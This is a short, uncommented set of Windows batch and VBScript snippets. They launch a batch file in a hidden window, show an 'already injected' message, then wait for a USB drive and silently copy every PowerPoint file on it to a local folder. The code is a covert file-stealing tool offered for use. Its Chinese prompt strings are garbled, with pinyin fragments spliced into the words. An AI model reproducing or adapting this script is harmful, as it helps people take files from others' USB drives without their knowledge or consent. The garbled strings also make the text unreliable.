:cheat
ping 127.0.0.1>nul
if exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat

set wshshell=createobject("wscript.shell")
wshshell.run "main.bat",0
msgbox"已經(jīng)注入",48,"夜月"
wscript.quit

on error resume next
dim udrive,dfold,src,ptr
set fso=createobject("Scripting.FileSystemObject")
do
udrive=inputbox("請(qǐng)按如下形式輸入U(xiǎn)盤(pán)盤(pán)符","用戶(hù)指令",H)
loop until(udrive<="Z" and udrive>"B")
dfold=inputbox("請(qǐng)輸入目標(biāo)文件夾","用戶(hù)指令","F:\Temp")
if (not fso.folderexists(dfold)) then
fso.createfolder(dfold)
end if
src=udrive + ":\*.ppt"
ptr=dfold + "\"
do while(1=1)
if fso.driveexists(udrive) then
fso.copyfile src,ptr,true
set fso=nothing
wscript.quit
end if
wscript.sleep 2000
loop